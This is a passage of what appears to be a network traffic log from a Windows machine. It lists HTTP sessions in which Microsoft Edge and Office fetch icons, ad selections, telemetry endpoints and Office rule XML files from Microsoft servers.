2024-11-23 00:14:34 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	49842	13.107.246.40	443	3620	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:33 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 00:14:34 UTC	543	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:34 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: c816c809-401e-0042-031e-3d4313000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T001434Z-178bfbc474bp8mkvhC1NYCzqnn00000003n0000000003fq2 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-23 00:14:34 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.5	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:34 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:34 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 65766a9d-a01e-0002-6d8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001434Z-178bfbc474bnwsh4hC1NYC2ubs00000003u0000000006st2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:35 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.5	49850	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:34 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:34 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 898ddbec-d01e-0017-6930-3cb035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001434Z-178bfbc474bxkclvhC1NYC69g400000003r000000000399e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:35 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.5	49848	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:34 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:35 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: fdab78a3-101e-005a-1d8c-3a882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001435Z-174c587ffdf7t49mhC1TEB4qbg00000001yg00000000skg8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:35 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.5	49849	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:34 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:35 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 20caaba8-701e-005c-0363-3bbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001435Z-178bfbc474bpscmfhC1NYCfc2c000000027g00000000k3a5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:35 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.5	49847	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:34 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:35 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: bf14eb60-501e-007b-507b-3b5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001435Z-174c587ffdfldtt2hC1TEBwv9c00000001z000000000f3h6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:35 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	49852	23.101.168.44	443	3620	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:35 UTC	1067	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=175F64EB34B4667D05E971AB35C6675C&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=1f0622c66e95496df030842afda9290a HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=175F64EB34B4667D05E971AB35C6675C; _EDGE_S=F=1&SID=1CED3417584E65A03DFA2157598664F6; _EDGE_V=1
2024-11-23 00:14:35 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sat, 23 Nov 2024 00:14:34 GMT Connection: close
2024-11-23 00:14:35 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	49851	51.116.253.170	443	3620	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:35 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732320871727&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3781 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=175F64EB34B4667D05E971AB35C6675C; _EDGE_S=F=1&SID=1CED3417584E65A03DFA2157598664F6; _EDGE_V=1
2024-11-23 00:14:35 UTC	3781	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 33 54 30 30 3a 31 34 3a 33 31 2e 37 32 31 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 63 61 33 37 36 65 35 62 2d 64 65 39 37 2d 34 38 61 31 2d 61 31 38 34 2d 61 61 32 35 64 31 61 63 66 63 61 61 22 2c 22 65 70 6f 63 68 22 3a 22 32 33 33 39 39 31 34 32 35 36 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-23T00:14:31.721Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"ca376e5b-de97-48a1-a184-aa25d1acfcaa","epoch":"2339914256"},"app":{"locale
2024-11-23 00:14:35 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=33c31f16dee241f1a98079fbe66da73c&HASH=33c3&LV=202411&V=4&LU=1732320875716; Domain=.microsoft.com; Expires=Sun, 23 Nov 2025 00:14:35 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=959c7e6d4bec40129b32f5547fc684a0; Domain=.microsoft.com; Expires=Sat, 23 Nov 2024 00:44:35 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3989 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sat, 23 Nov 2024 00:14:35 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	49855	23.200.3.13	443	3620	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:35 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 00:14:35 UTC	515	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL Last-Modified: Thu, 14 Nov 2024 13:08:58 GMT X-Source-Length: 1658 X-Datacenter: westus X-ActivityId: 5207dc63-23db-47af-bb98-7b1841fb9ec3 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 1658 Cache-Control: public, max-age=89756 Expires: Sun, 24 Nov 2024 01:10:31 GMT Date: Sat, 23 Nov 2024 00:14:35 GMT Connection: close
2024-11-23 00:14:35 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	49853	23.200.3.13	443	3620	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:35 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 00:14:35 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 11 Nov 2024 13:51:58 GMT X-Datacenter: northeu X-ActivityId: 03b090a8-ff0d-477a-9433-19affde5f1c7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=222098 Expires: Mon, 25 Nov 2024 13:56:13 GMT Date: Sat, 23 Nov 2024 00:14:35 GMT Connection: close
